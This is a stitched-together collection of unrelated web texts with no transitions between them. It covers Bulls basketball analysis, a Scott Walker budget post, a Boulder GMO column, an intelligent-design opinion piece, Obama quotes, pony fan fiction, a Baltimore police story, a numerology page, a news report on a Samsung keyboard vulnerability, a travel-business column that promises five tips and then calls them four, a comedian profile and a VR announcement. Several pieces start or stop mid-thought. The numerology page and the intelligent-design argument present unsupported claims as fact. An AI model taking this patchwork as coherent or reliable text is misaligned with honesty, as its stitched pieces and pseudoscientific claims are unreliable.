Mirotic is on a cheap contract, and brings shooting no one else in the foursome can touch. Finding a workable Gibson-for-a-wing deal is tough, but Gibson has two years left on a fair contract, and he’s a solid two-way player. If Amir Johnson leaves Toronto in free agency, perhaps the Raptors would think about swapping Terrence Ross for Gibson. Johnson is permanently hobbled, and the Raptors need at least one more reliable defender after plummeting to 23rd in points allowed per possession this season. Dwane Casey would love Gibson.
A Chicago-Boston deal involving Gibson and Avery Bradley would probably at least spark some initial talks. The Celtics need a little more force on defense from someone in their big-man rotation, and they’ll have a glut of perimeter players once James Young earns playing time. But Gibson’s age and Danny Ainge’s well-known love for Bradley — he turned down a first-round pick for Bradley at the trade deadline, per league sources — would likely scuttle any such deal.
The Suns could use an extra big if Brandan Wright leaves, and they have two young wings in T.J. Warren and Archie Goodwin who are ready for minutes. A deal involving Gibson and P.J. Tucker might work. Sacramento is forever searching for a power forward but doesn’t have much to trade. Gibson could work well within Jason Kidd’s hyperactive defensive scheme in Milwaukee, but the Bucks would have to attach something good — two second-round picks, maybe — to O.J. Mayo or Jared Dudley.
Golden State could use a reliable third big to get the “uh-oh, Draymond’s in foul trouble” minutes going to David Lee and Festus Ezeli, but Harrison Barnes is playing so damn well, it might be unpalatable to deal him for Gibson.
There just aren’t that many great deals out there, and Chicago has a ton riding on McDermott turning into a rotation player — and a replacement for Dunleavy. The Bulls flipped two first-round picks to get him, and he hit just 14 triples over 321 minutes this season.
Mirotic shot poorly this season, but his presence on the floor helped Chicago breathe and represents the easiest path to improving an offense that falls apart in the playoffs every season. Chicago in 2011 and 2012 became a very good offensive team despite the spacing issues that come with playing two bigs who work inside the elbows. But the pieces were different then, and everyone was healthy. Those Bulls had two players, Deng and Kyle Korver, who stretched the defense by sprinting around picks off the ball. They had prime Noah and Carlos Boozer, and despite Boozer’s embarrassing defense and loud shouting, he was a canny passer with a solid midrange jumper.
They also had a healthy Rose, until that awful night against the Sixers that changed this franchise forever. It wasn’t a pretty offense, but it worked well enough when Chicago had some shooting and everyone was operating close to 100 percent. The cuts were crisp, passes pinged around the interior, and Rose supplied those eight or 10 “holy crap” points that every championship team needs.
Everything has gotten a tick worse since — the health, the speed, the cuts, the passing, the shooting. The Bulls just can’t get the ball into profitable places anymore. Every possession is so much agonizing work, but it’s mostly work that goes east-to-west:
Chicago took more possessions to the end of the shot clock than almost anyone, and generated few uncontested looks relative to the rest of the league, per SportVU data. Rose on the right nights can still fly to the rim for those “holy crap” points, but he’s not the every-minute driving force he used to be. He looked good in the playoffs, but he still shot just 39.6 percent overall and struggled to generate free throws.
Rose says he’s a smarter player now, and he’s right. He has that angled bank shot down, and early-career Rose didn’t have these kinds of pick-and-roll reads in his bag:
The timing of that cross-court pass, the way it catches the rotating defenders lurching in the wrong direction — that’s advanced NBA stuff. It’s the kind of pass that would work much better if the Bulls had any semblance of spacing or modernity in their offense. But that’s hard to manage when you spend 15 seconds trying to enter the ball to the post, or with Noah running dribble handoffs that don’t scare anyone anymore — not when defenses can just sag off of Noah, or press him, or switch smaller players onto him.
The Bulls don’t have a killer pick-and-roll big man — a Tyson Chandler sort who can slice through defenses, catch the ball, and dunk it. They’ve had to steer their offense in other directions — post-ups for Gasol, shooters curling around screens on both sides, and those dribble handoffs. That stuff is fun when it works, but having access to simpler tools would be handy.
And here’s the thing: Chicago’s big men, especially Noah and Gibson, turn into perfectly fine pick-and-roll players when they have space to roll into. And Mirotic, even when bricking away from deep, provides that space:
The threat of a Mirotic pick-and-pop can stress a defense into mistakes. Watch a common Cleveland strategy, directing pick-and-roll ball handlers toward help defenders, blow up when that help defender (James Jones here) sticks to Mirotic instead of dropping into the usual spot:
Look, Mirotic was overplayed as a savior, though Chicago’s numbers with him on the floor were consistently pretty good. He shot badly, and he was a bit out of sorts at times on defense. Play Mirotic more, and teams will start going small against Chicago — sticking a wing player on Mirotic, switching more, and spreading Chicago’s defense out on the other end.
But the Bulls can’t win four series playing offense the way they played it this season — especially if Rose can’t at least regain All-Star form. They couldn’t score against a wheezing, limping Cleveland team. Mirotic needs to be here, and the Bulls need to keep using him. A new offensive guru somewhere on the coaching staff would help.
Regardless, these Bulls may not be able to win four playoff series. They’ll struggle to upgrade the team this summer, and if they re-sign Noah in the summer of 2016, they may not even have much room left over for the coming cap space orgy. That is the penalty for having a super-max deal attached to a player who, sadly, can’t approach that level of play anymore. If Rose tops out in his current form, that contract is an anvil.
Any team near the top of the East is working with a larger championship window than most of the similarly positioned teams in the West. You get freaking championship French doors in the East. That is Chicago’s hope — along with all the “if onlys” this franchise has carried with it for nearly a half-decade now.
Wisconsin Governor Scott Walker's proposed budget—which would cut $300 million dollars out of the state's beloved public university system—has a non-fiscal bombshell tucked in between its insane pages.
Under Walker's budget, universities would no longer have to report the number of sexual assaults that take place on a campus to the Department of Justice. Under Walker's plan, university employees who witness a sexual assault would no longer have to report it.
There are no policy recommendations in Walker's budget how or what would replace these reporting mechanisms. The Governor simply instructs that they should be deleted.
For those of you who are unfamiliar with the bewildering force that is Scott Walker, know this: he is a small-time guy who is having a big-time moment by playing the conservative werewolf, a role Chris Christie and Jeb Bush are so far unwilling to play in their presidential bids.
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As the election cycle drags on you will be able to tick off the boxes on Scott Walker's CONSERVATIVE STRONG MAN card. Count this as the first of many boxes.
Below is the text from the budget proposal to 'delete' the requirements.
25. DELETE LANGUAGE RELATED TO SEXUAL ASSAULT INFORMATION AND REPORTING Delete the requirement that the Board direct each institution and college campus to incorporate oral and written or electronic information on sexual assault in its orientation program for newly entering students and to supply all students enrolled in the institution or college campus with the same information in either printed or electronic form. Delete the requirement that the Board of Regents submit an annual report to the Legislature regarding the methods used to comply with the above requirement. Delete the requirement that any person employed at an institution who witnesses a sexual assault on campus or receives a report from a student enrolled in the institution that the student has been sexually assaulted report the assault to the dean of students. Delete the requirement that each institution report annually to the Department of Justice (DOJ) statistics on sexual assaults and on sexual assaults committed by acquaintances of the victims that occurred on the campus of that institution in the previous years, and that DOJ include those statistics in appropriate crime reports.
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Mara Abbott For the Camera
This column has been edited to add a parenthetical explanation to the end of the second paragraph.
Last December, Adrian Card ruined grocery shopping for me. Card is the CSU extension agent to Boulder County, and was the lead author of "Economic, Environmental and Social Implications of Cropping Systems in Boulder County," a 2015 briefing paper for the county commissioners. I discovered it researching the commissioners' decision to ban genetically engineered crops on county open space.
It's a snapshot of data gathered from six Northern Colorado farms between 2011 and 2015, and it documented organic crops that had released six times more sequestered carbon from the soil and used 10 times more water than genetically engineered varieties. GE crops also decreased pesticide use by 80 percent compared to their conventional counterparts. I was paralyzed. I had always self-identified as a good Boulder environmentalist, and figured that meant that non-organic was a non-starter (and the organic definition excludes GMOs). Now where was I supposed to buy my kale? (Currently, there are no GMO varieties of kale.)
My doubts about the GMO ban's merits blossomed. After all, the ban's loudest supporters claimed to be fighting for reduced pesticide use and more sustainable cropping methods. Commissioner Deb Gardner specifically cited researching carbon sequestration as a top priority of the transition. If on county land the currently approved GE crops could actually be making positive progress toward those goals, why was there such a strong desire to outlaw them?
About the series Over the past five months, Camera community columnist Mara Abbott researched the local, national and international debate over genetically modified organisms in agriculture and interviewed 14 key local players to produce this five-part series on Boulder County's decision to ban GMOs on county-owned agricultural land. Over the past five months, Camera community columnist Mara Abbott researched the local, national and international debate over genetically modified organisms in agriculture and interviewed 14 key local players to produce this five-part series on Boulder County's decision to ban GMOs on county-owned agricultural land. April 30: Part 1 Boulder County s GMO ban is about everything except GMOs. May 3: Part 2 Locally and nationally, vested interests direct the GMO debate. May 7: Part 3 Agricultural impacts of the GMO ban. May 10: Part 4 Economic impacts of the GMO ban. May 14: Part 5 If farmers had a say in county farm policy.
The open-space farmers themselves had always voiced near unanimous opposition to the ban. They explained that it would create economic instability and that it contradicted their generations-deep study of how to farm Boulder County sustainably. Many felt powerless in the debate.
"We are at an all-time low on relationship between farmers and the community in general," said Jason Condon, one of the most successful organic farmers on county land. "I don't know what will happen."
Commissioner Cindy Domenico, who grew up on a farm in Lafayette, appreciated the value of their expertise. "What they've learned over time and their stewardship of the land is extraordinary," she told me. Yet, in a 2-1 vote, Domenico and the farming community was overruled.
Given all of that, how on earth had the decision to go forward with the ban been possible? As it turns out, mostly because it had very little to do with the actual GMOs.
This is probably a good time to pause and talk about what "GMO" means, and why they are so hotly debated. GMO stands for "genetically modified organism," one that has had its DNA directly altered to present a specific trait. Cross-breeding for desired traits has been around for centuries, but in 1973, the first direct gene transfer was successfully executed. GE insulin hit the market in 1982.
Steve Demos, founder of Horizon Organics, shown here in a 2004 photo, said in a 2009 interview that the "organic mecca" of Boulder allowing GMOs was "almost as effective in diluting a brand as if Rolls-Royce announced it was making an economy-model engine for airplanes." (Jerry Cleveland / Digital)
Since then, biotechnology has rapidly assimilated into and helped develop the medical and pharmaceutical fields. Mapping the first human genome, completed in 2003, cost $2.7 billion. Just 14 years later, researchers peg that price at $10,000, meaning that precision medicine and individualized treatment of serious diseases could become widely accessible in the near future.
Yet when it comes to GMO agriculture, the topic is so controversial that a 2010 European Commission report dubbed it "the Achilles Heel of biotechnology." Why is it so divisive? After all, 88 percent of scientists agree that GMOs are safe for human consumption, and when grown responsibly they can bear environmental and economic benefits.
It may start in the gut. "Many people look at the food they eat not just as a lifestyle choice or a health choice, but almost as an expression of who they are as people," said Robert Fraley, the chief technology officer at Monsanto, in a 2014 Intelligence Squared debate.
The idea of lab-altered food is also a handy lightning rod for broad fears like societal change or corporate control. Though we eagerly anticipate technological advances in many areas of our lives, "We don't want farming to change; we want it to go back to this previous world, this idyllic image of it being a perfect life," argues Domenico. "The world is not the same as it was back in 1910 or 1930 or even 1950, so farming needs to evolve too."
Nathanael Johnson of Grist, an online environmental news magazine, compares the way that distaste for agribusiness morphs into anti-GMO sentiment to another emotional, ideological controversy — access to contraception. "Just as teens are going to keep having sex, our unsustainable food system is going to keep on chugging along whether we allow the use of mitigating technology or not," wrote Johnson. "I think it makes sense to support the GMO uses that give us small environmental improvements. Insisting on abstinence-only farming is a non-starter."
It also turns out that "organic" doesn't mean "pesticide-free." The pesticides just come from natural rather than synthetic sources — and apparently some of those are harmful to honeybees, too. Given that the purpose of an herbicide is to kill weeds, and an insecticide to kill insects, any crop protection practice won't be completely benign. Some natural pesticides are less effective, requiring more frequent applications, and higher overall life-cycle toxicity.
Boulder's GMOs were engineered to be resistant to glyphosate — an herbicide that is of huge concern for anti-GMO advocates. Yet both the Environmental Protection Agency and the European Food Safety Agency do not believe it poses a danger for humans. The LD50 value, a measure of toxicity, of glyphosate is gram-for-gram 4 percent — one twenty-fifth — that of caffeine (which has actually been studied as an organic way to enhance the efficacy of organic insecticides), and the amount used on an area the size of a football field would fill a soda can. Farmers prefer glyphosate because of its efficacy — they are able to use much smaller quantities of a less toxic substance for the same result — but that efficacy is only harmful to weeds where it disables a protein needed for growth that isn't found in humans.
This isn't to brush off the value of organic, but it is to say that agriculture is rarely black and white — and that's actually why diverse approaches are important. Really, the only way to know what is being put on your food is to know the farmer who grew it.
"It's just such a complicated web in agriculture," third-generation county farmer Scott Miller told me. "You can't just say you're going to block one thing and that is going to fix it."
Clearly, Boulder is fertile ground for this debate. Our attachment to "organic," "sustainable," and "locally grown" has a near-religious fervor. Our distaste for bowing to business is such that we are embroiled in a seven-year quest to separate from Xcel Energy. Additionally, Boulder, the Silicon Valley of natural foods companies, now houses an army of bigger-than-morals activists with financial skin in the game. One, Steve Demos, founder of Horizon Organics, said in a 2009 interview that the "organic mecca" allowing GMOs was "almost as effective in diluting a brand as if Rolls-Royce announced it was making an economy-model engine for airplanes."
Anti-GMO activist Mary Smith admitted plainly in a 2016 KUNC interview that genetic engineering itself isn't the problem. For Smith, "This is about our right to have access to good, healthful food." Some said it is about taking a stand against agribusiness, or simply core ecological ideals, or a vision that Boulder could point the world's environmental compass. For others, it's about personal finances, politics, or even reputation.
Yet very few start from an actual opposition to GMOs themselves, and that is a problem because when we ban GMOs as a punching-bag proxy for a thousand other ills, we set ourselves up for some seriously unintended consequences. As a proxy, GMOs fail.
The county's Cropland Policy defines sustainability with a balance of environmental, economic and social terms. The GMO ban sacrifices potential environmental gains, destabilizes the economic livelihood of individual farmers and threatens the ability of multi-generational families to continue tending the land in community with one another and Boulder County. With this decision, we have chopped our three-legged stool of sustainability into a plank of wood on the ground.
September 14, 2016 (BreakPoint) -- There’s an old story about a chemist, a physicist, and an economist stranded on a desert island with nothing to eat but a can of soup. Puzzling over how to open the can, the chemist says, “Let’s heat the can until it swells and bursts from the buildup of gases.” “No, no,” says the physicist, “let’s throw it off that cliff with just enough kinetic energy to split it open on the rocks below.” The economist, after thinking a moment says, “Assume a can opener.”
There’s more than one trade that deals in assumptions. The way Darwinists approach the origin of life is a lot like that economist’s idea for opening the can. The Darwinian mechanism of mutation and natural selection explains everything about life, we’re told—except how it began. “Assume a self-replicating cell containing information in the form of genetic code,” Darwinists are forced to say. Well, fine. But where did that little miracle come from?
A new discovery makes explaining even that first cell tougher still. Fossils unearthed by Australian scientists in Greenland may be the oldest traces of life ever discovered. A team from the University of Wollongong recently published their findings in the journal “Nature,” describing a series of structures called “stromatolites” that emerged from receding ice.
“Stromatolites” may sound like something your doctor would diagnose, but they’re actually biological rocks formed by colonies of microbes that live in shallow water. If you visit the Bahamas today, you can see living stromatolites.
What’s so special about them? Well, they appear in rocks most scientists date to 220 million years older than the oldest fossils, which pushes the supposed date for the origin of life back to 3.7 billion years ago.
This, admits the New York Times, “complicate[s] the story of evolution of early life from chemicals...” No kidding! According to conventional geology, these microbe colonies existed on the heels of a period when Earth was undergoing heavy asteroid bombardment, making it virtually uninhabitable. This early date, adds The Times, “leaves comparatively little time for evolution to have occurred…”
That is an understatement. These life forms came into existence virtually overnight, writes David Klinghoffer at Evolution News and Views. “[g]enetic code, proteins, photosynthesis, the works.”
This appearance of fully-developed life forms so early in the fossil record led Dr. Abigail Allwood of Caltech to remark that “life [must not be] a fussy, reluctant and unlikely thing.” Rather, “(i)t will emerge whenever there’s an opportunity.”
Pardon me? If life occurs so spontaneously and predictably even under the harshest conditions, then it should be popping up all over the place! Yet scientists still cannot come close to producing even a single cell from raw chemicals in the lab.
Dr. Stephen Meyer explains in his book “Signature in the Cell” why this may be Darwinism’s Achilles heel. In order to begin evolution by natural selection, you need a self-replicating unit. But the cell and its DNA blueprint are too complicated by far to have arisen through chance chemical reactions. The odds of even a single protein forming by accident are astronomical. So Meyer and other Intelligent Design theorists conclude that Someone must have designed and created the structures necessary for life.
Meanwhile Darwinists, faced with a fossil record that theoretically pushes the origin of life back further into the past, are forced to assume the metaphorical can opener. They just don’t know how these early cells came into existence, and the more we dig up, the more improbable—rather than likely—life becomes.
For them at least.
“I see a straight line from the announcement of Sarah Palin as the vice-presidential nominee to what we see today in Donald Trump, the emergence of the Freedom Caucus, the tea party, and the shift in the center of gravity for the Republican Party,” Obama told New York Magazine.
“Whether that changes, I think, will depend in part on the outcome of this election, but it’s also going to depend on the degree of self-reflection inside the Republican Party,” he continued. “There have been at least a couple of other times that I’ve said confidently that the fever is going to have to break, but it just seems to get worse.”
Obama made the comments while discussing congressional Republicans’ blanket opposition to working with him. He said that “what you saw was just a series of moments as opposed to one big moment where Republican leadership felt their politics, both in terms of recapturing the majority in Congress but also protecting themselves from what would become the tea-party wing of the party, prevented them, in their minds, from working with this administration in any kind of constructive way.”
He said that legislating is no longer about compromise but about gaining as many votes in each chamber of Congress as possible and influencing public opinion.
“I have very cordial relations with a lot of the Republican members. We can have really great conversations and arrive at a meeting of the minds on a range of policy issues, but if they think they’re going to lose seats or that they’re going to lose their own seat because the social media has declared that they sold out the Republican Party, then they won’t do it. That dynamic, I think, is going to be harder and harder to change because of the balkanization of the media, because of political gerrymandering,” he said.
Living with two volatile draconequii, Twilight had long ago come to accept this as an average Tuesday. With a sigh, she took a calm sip of her coffee, then stood to investigate.
The living room had only suffered minimal damage, she noted. But there, in the center of rubble and sparkling pink smoke, a figure began to emerge. Twilight’s jaw fell open.
“Pandora?”
“Guess I’m Pony-dora now.” Pandora beamed, proudly lifting her head. “A shapeshifting spell of this magnitude was tricky, but I think I’ve finally got the hang of it! Isn’t it amazing, Mom? Don't just stand there gawking! How does my new form look?”
“It’s…” Twilight swallowed. “Panny, it’s…”
“Elegant? Imposing? Powerful?”
“It’s so cute!” Twilight let out an honest-to-Celestia squee, then immediately blushed, embarrassed of herself. Still, she couldn’t restrain her bright grin, and eagerly clasped Pan’s tiny face in her hooves, even as her daughter squeaked in protest. “C-cute?”
“Starswirl’s Beard, just look at you! It must have been difficult to transmogrify all of your body mass into such a small form, especially one with such accurate equine proportions-” Twilight inspected her daughter excitedly, and Pan flushed crimson. She attempted to squirm away, but it seemed as though alicorns were much stronger than regular ponies.
“Look at your muzzle! And your little ears, and your unicorn horn, and oh, your teeny tiny hoofsies-” Twilight was honestly cooing now, like a mother might do to a young foal, and Pan wondered if it was possible to die from sheer embarrassment.
“Your cutie mark is just like mine!” Twilight’s hoof poked Pan’s marshmallowy pony flank, and Pan bleated like a baby goat. “I wonder what it means?”
“Mom.”
“Oh, I didn’t even notice your tail! It’s just like mine, too!” Twilight beamed, clopping her hooves. “You know, it’s legend that long, leonine unicorn tails are a trait shared among descendants of Starswirl the Bearded-”
“Mom.”
“And you’re so fluffy! I mean, you were fluffy before as a draconequus, but now it looks like you’ve inherited my neck and shoulder feathers. I wonder what other alicorn traits you’ve received? We’ll have to do so many tests-”
“Mother!” Pan stomped a tiny hoof down, and attempted to let out an angry horse whinny to voice her displeasure, but all that came out was a noise like an startled lamb. All in all, it sounded like
“Beeeeehhh!”
There was a pause.
Pan blushed so hard that it spread to her ears and neck. Twilight began to chuckle.
“I’m not c-cute. I’m fearsome, Mom.” Pan scuffed the ground with her hoof. “Honest.”
“Sure, Panny.” Twilight smiled. She leaned close and nuzzled her huffy daughter, and pressed a kiss to her forehead. “You’re the most fearsome and terrifying creature in the world, my little pony.”
“Don’t patronize me, old mare.” Pan groused, but curiously, she didn’t resist much when her mother pulled her into a tight hug.
The incident on South Broadway, which Interim Commissioner Kevin Davis said Friday showed "remarkable restraint" on the part of the officers, is the latest altercation involving city officers to go viral via citizen video posted online.
It probably won't be the last.
"The environment right now, for whatever reason, seems to prompt this type of scenario, and we've just got to get our arms around it as a community and move forward," Davis said. "American policing is in the midst of a sea change, particularly with patrol officers. It's been referred to by many leaders in this profession as the 'YouTube effect.'"
He added, "I'm personally fine with that. I'm professionally fine with that. The more we have on camera, the better."
In Baltimore, a police body camera pilot program will launch in three districts — the Central, Western and Eastern — on Oct. 26 and last through Dec. 18, with the goal of rolling the technology out citywide by early next year.
The video of Tuesday's incident on South Broadway, which had been viewed more than a million times on the viral video website WorldstarHipHop.com as of Friday afternoon, shows in less than three minutes the tension and uncertainty that can surround an interaction between police and a person who doesn't want to follow their directions.
According to the police report of that incident, Officer Christy Post, on the force for two and a half years, and trainee Maurice Bagby, still in the police academy, were on routine daytime patrol when they saw 21-year-old James Frederick Young shirtless and "yelling obscenities at them and drawing a crowd due to his disorderly activity."
They stopped, as they should have, Davis said.
Post and Bagby engaged Young, and when the video begins, there is already a high level of tension. Young repeatedly tells the officers to stop touching him. He also uses profanity, saying, "I will knock you the [expletive] out."
"Do you want to be disorderly or do you want to walk off?" Post says at one point. She then says, "You're not going to get in my face," and attempts to pull Young's arms behind his back to arrest him.
Bagby joins her in that effort, and Young resists, shoving them off.
Young can be seen swinging at Post multiple times, before connecting on a punch and knocking Bagby to the ground. Young drops on top of Bagby, and Post jumps in as well — appearing to try to pull Young off her partner.
Officer Richard Whittaker then comes into view — Davis said other residents had alerted him — and draws a Taser. "Taser, Taser, Taser," he says, and Young appears to stop resisting.
"I think the officers showed remarkable restraint. I really do. I stopped counting how many times our female police officer said 'Stop' to him, gave him every opportunity to walk away, every opportunity to calm down," Davis said.
Davis said there was "more than enough probable cause" for the officers to arrest Young for disorderly conduct, even before the incident escalated.
Now, Young is in jail on charges including first-degree assault and resisting arrest.
Bagby was taken to the hospital with a laceration to his lip, according to the police report. Post was not injured. Young was also taken to the hospital for "complaints of facial pain," according to the charging documents.
Assistant Public Defender Ilene Frame, who represents Young, said she has only met with him briefly, but questioned the felony first-degree charge in the case. "Obviously he's presumed innocent," Frame said.
krector@baltsun.com
The energy represented by the numerology number 77 is, foremost, an energy of expression of personal freedom.
77 is introspective, but also adventurous and sensual and spiritual so long as its expression of personal freedom isn't restrained.
Experiencing everything at least once is a natural part of this 77's adventurous approach to life. The 77 essence is especially adept with mental processes. It has the mind of a scientific investigator, but tends to drop current investigations for new areas of interest as they gain the 77's attention.
77 is interested in pretty much everything.
It especially appreciates sensual experiences, those including, as examples, taste, touch, sound, physical movement, or excitement. It also enjoys interacting with people, many different types of people — different age groups, different societal and ethnic backgrounds, different education levels — people with different points of view that 77 can attempt to understand.
Number Meaning Is Derived From Number Essence
A number's meaning can be thought of as the number's basic or foundational tone or vibration. As an overview, the numerology number 77 represents a composite energy containing the ideas of:
Expression of personal freedom
Sensuality
Analysis
Curiosity
Intuition
Interpretations of the number 77 relate to the number's numerology chart position, or the situation or circumstances where the number occurs. Interpretations are based on the number's meaning.
Here are example interpretations of the number 77.
If the number 77 is in the destiny position of the chart, it means the characteristics of the person are likely to include charisma, curiosity, wit, scientific analysis, and intuition. With a number 77 prominent somewhere in a person's environment, interpret the situation as if it included expression of personal freedom, curiosity, or intuition.
See the article Numerology Number Meanings for additional examples of different meanings for the same number essence depending on what the number pertains to.
The Basic or Core Essence of 77
The deep down basic essence of the numerology number 77 is the full expression of personal freedom.
To better understand the essence of 77, let's have a look at its composition and the number it is reduced to. The number 77 is composed of the digit 7 twice and then is reduced to the single digit 5:
Thus, the essence of the numerology number 77 contains the essence of the digit 5 and twice the digit 7. See these articles for descriptions of the individual numbers:
The digit the number is reduced to (the digit 5 in this case) always has more force or capacity than the digits of the number being reduced, even when the digits of the number being reduced are enhanced by being all the same.
The relative amount each contributes to the whole could be represented by this graph:
JavaScript is required to display the graph
Thus, the 77 essence contains
the 5's essence, such as curiosity and expression of personal freedom,
plus a generous dose of the 7's essence, such as introspection, analysis, and wisdom.
The result is a unique essence.
The essence of the numerology number 77 includes personal freedom and curiosity. 77 is interested in everything.
It is intuitive and sensual and insists on expressing personal freedom. It is witty and spiritual with astute intelligence.
Imagine having the personal freedom to pursue any whim and experience whatever you are curious about.
The built-in vulnerability
Every Samsung Galaxy phone user has seen the ‘Swift’ keyboard that comes pre-installed on the phone as the default keyboard application. This Swift keyboard app puts the user’s privacy and the phone at risk due to a hugely significant security flaw that’s inherent in the keyboard.
Moreover, with the application being pre-installed on Samsung Galaxy phones, it cannot be uninstalled or even disabled by switching over to another keyboard. Essentially, a Samsung phone not using Swift keyboard as its default keyboard application can still be exploited.
“Unfortunately, the flawed keyboard app can’t be uninstalled or disabled. Also, it isn’t easy for the Samsung mobile device user to tell if the carrier has patched the problem with a software update,” noted Welton.
If exploited, an attacker or malicious hacker could gain the means to remotely:
Eavesdrop or listen in to incoming/outgoing voice calls and messages.
Have access to user behavior and records by accessing sensors on the phone like its GPS, microphone and the even the phone’s camera.
Tamper and manipulate other installed applications on the phone, altering how they might work.
Install malicious (malware/spyware/Trojan) applications on the phone without the user’s knowledge.
Gain access to the user’s personal data like pictures, text messages and emails stored on the phone.
Hijack the DNS on the phone, leaving the user vulnerable to phishing by redirecting them to spoof websites secretively.
Samsung was notified of the vulnerability by NowSecure in December 2014. Subsequently, Samsung came up with a patch to wireless careers in early 2015. “Given the magnitude of the issue, NowSecure notified CERT who assigned CVE-2015-2865, and also informed the Google Android security team,” said NowSecure in a blog post.
Not all devices are patched, however, since each individual carrier has to push the fix as downloads to the vulnerable phones that are on their network.
A SwiftKey spokesperson said: “We’ve seen reports of a security issue related to the Samsung keyboard. We can confirm that the SwiftKey Keyboard apps available via Google Play or the Apple App Store are not affected by this vulnerability. We take reports of this manner very seriously and are currently investigating further.”
The Samsung phones at risk
Here’s a list of the vulnerable phones. (Note: This isn’t an all-inclusive list, according to NowSecure.)
Verizon : Samsung’s current flagship, the Galaxy S6 remains “unpatched.” It’s unknown if the fix has been pushed to Galaxy S5, the Galaxy S4 and the Galaxy S4 Mini.
: Samsung’s current flagship, the Galaxy S6 remains “unpatched.” It’s unknown if the fix has been pushed to Galaxy S5, the Galaxy S4 and the Galaxy S4 Mini. AT&T : Patch status is “unknown” for the Galaxy S6, Galaxy S6 and Galaxy S4.
: Patch status is “unknown” for the Galaxy S6, Galaxy S6 and Galaxy S4. Sprint : Galaxy S6 remains “unpatched” and patch status is unknown for the remaining phones.
: Galaxy S6 remains “unpatched” and patch status is unknown for the remaining phones. T-Mobile: Galaxy S5 is “unpatched” and the remaining phones’ status is “unknown.”
In summing up, Welton added:
Opinions expressed by Entrepreneur contributors are their own.
Traveling the world and running a business at the same time seems like a glamorous lifestyle: You can work from anywhere you want, make your own schedule and be your own boss.
But the characteristics that make it desirable also turn it terrible.
After all, with complete freedom to choose between exploring far-off lands (and people) and sitting in an Internet cafe doing SEO chores, participating in conference calls and writing emails, who would choose to do the latter tasks? Not many people.
Given the option, you would probably close your computers and go exploring with those beautiful Scandinavians who just invited you to the beach.
The digital-nomad lifestyle may seem appealing, but there’s nothing glamorous about freaking out because your Internet connection in a small town suddenly went out two minutes before an important conference call or product launch.
Yet it's possible to find a balance and successfully run a business from the road, relying on time management and careful planning.
All this might sound intuitive but striking the right balance isn't easy. It takes work to settle into a routine when you're constantly changing locations and time zones. It took me a long time to get into a routine. It’s easy to decide that work can wait when you have people imploring you to join them at that new festival.
When I first left to travel, running a business on the road was never my intention. I just wanted to travel. Starting a blog was an afterthought so when it started to gain traction, I was reluctant to give it more of my time. I just wanted to travel.
My business grew more slowly than it could have because I wasn’t optimizing my time. I once went offline for a week so I could go sailing around the coast of Australia, thereby missing four interview and guest-posting opportunities.
Travel always has come first for me but I have longed to have my cake and eat it, too. So after my company endured years of mismanagement, I finally developed a routine for running a business overseas.
There's a way to balance everything out. It requires discipline, but by developing a schedule around your own rhythm, it can be accomplished. Here are my five secrets:
Related: 5 Pointers for Finding a Quiet Place to Work on the Road
1. Know your optimal working hours.
This is the most important part of running a business overseas. You need to know when you work best and are the most productive. By knowing yourself, you can plan out your day for maximum productivity.
I work best in the mornings. Therefore I do as much work as possible before lunch, then head out to sightsee and enjoy happy hours. I save my "busywork,” such as emails and comments, for after dinner when I want to do a few things before heading out for the evening.
2. Create a schedule.
Maintaining a schedule on the road is tough since you're always moving. But creating one, even if you can’t adhere to it all the time, will enable you to batch your work onto certain days, make your to-do list more manageable and free up time for all the fun stuff that comes with traveling.
Related: How to Not Waste Your Windfall of Time
3. Take a day off from the road.
Dedicate a day to work. Develop a routine whereby every few days, you sit down and only focus on work. This will help you catch up on things and free your mind from thinking about emails while you're out sightseeing.
Your mind can’t be in two places at once. I found that out while in the Galapagos once, when all I could think about was work, prompting me to enjoy the trip a lot less than if I could give it my undivided attention.
When I returned, I knew something had to change. I decided then that I would devote every fourth day solely to work. This has let me focus on where I was and be a lot happier while still getting work done.
4. Just say no.
This operates on two fronts: First, say no to things that don’t help your core business. It’s easy to say yes to interviews, guest posts, phone calls and the like, but when you're traveling and working, every second of your day matters.
If something won't push your business forward, don’t say yes simply out of courtesy. Learn to say no.
Second, learn to say no to people you meet on the road. They are probably traveling on vacation and not at that moment running a business like you are. They have a ton of time and will always be trying to encourage you to go out. Resist. There will always be another night to party. Staying in one night isn’t the end of the world.
5. Plan ahead.
I’m a planner and a list maker. This allows me to prepare for periods when I might not be able to go online or I am too busy enjoying life. Keep a calendar, plan and use the days dedicated to work to stay on top of your schedule. Don’t be reactive: Be proactive. Use every moment.
Through planning, I’ve been able to stay ahead in my work and go offline with ease. When I traveled through Africa a few years ago, I didn’t worry about my website. I had prewritten blog posts and scheduled messages on Facebook and Twitter so if I couldn’t get online, my content would still be updated. Planning ahead can reduce stress.
Using these four techniques, you can develop habits to help block out distractions that can deter you from reaching business goals. It’s harder to maintain discipline on the road but not impossible. Have your cake and eat it, too.
Hamilton’s original act will be one among many routines from comedians in the recent Netflix series, “The Standups.” Standing out from his fellow entertainers, Hamilton offers jokes that are not only funny, but clean, said KSL.
“I was always naturally drawn to comedians who fall into that camp,” he told The Interrobang. “It kinda chooses you more than you choose it.”
Hamilton didn’t attempt stand-up comedy until he was 18-years-old and began performing locally at pizza parlors and arcade game rooms, he told The Interrobang. Since then, Hamilton has been slowly garnering attention for his witty, self-deprecating jokes and has found success as a comedian in New York City.
During the Netflix special, Hamilton recounted when he first moved to the Big Apple and was seeing some of the sights for the first time.
“One day, I found myself crowded on a boat with a lot of other hopeful people on the way to the Statue of Liberty, and what I realized is that all these boat tour companies have actually managed to just kind of recreate the immigrant experience.
“I don’t even know what they’re doing, but 10 minutes in, all I could think was, ‘Get me to America. I don’t want to be here, anymore. I gotta get of this boat and get a job and feed my family, you know?’” he joked.
According to his website, Hamilton was recently named one of Rolling Stone’s “Five Comics to Watch,” and has appeared on “The Late Show with Stephen Colbert” and on “Conan.” Hamilton has also frequently performed at the Comedy Club in New York City, his clean act fitting in more with the likes of Jim Gaffigan and Brian Reagan than on Comedy Central, said The New York Times.
“We are setting a goal,” he said. “We want to get a billion people in virtual reality.”
Zuckerberg made the announcement at his company’s Oculus Connect event at the San Jose Convention Center.
One of the key ways Facebook will get there is through the Oculus Go, a wireless VR headset that will sell for just $200. Zuckerberg said it will be available next year, after developers get their hands on a developer version, code-named Santa Cruz.
“Why put a computer in your pocket when most people want a phone for text messages? Why do virtual reality when most people want to watch on a 2D screen?,” Zuckerberg said in his opening speech. “The future is built by the people who believe it can be better.”
The big headset is not great and Facebook is working on it, Zuckerberg said. Some also say VR is isolating.
“We all have limits to our reality, and opening up more of those experiences to all of us is not isolating,” he said. “It is freeing.”
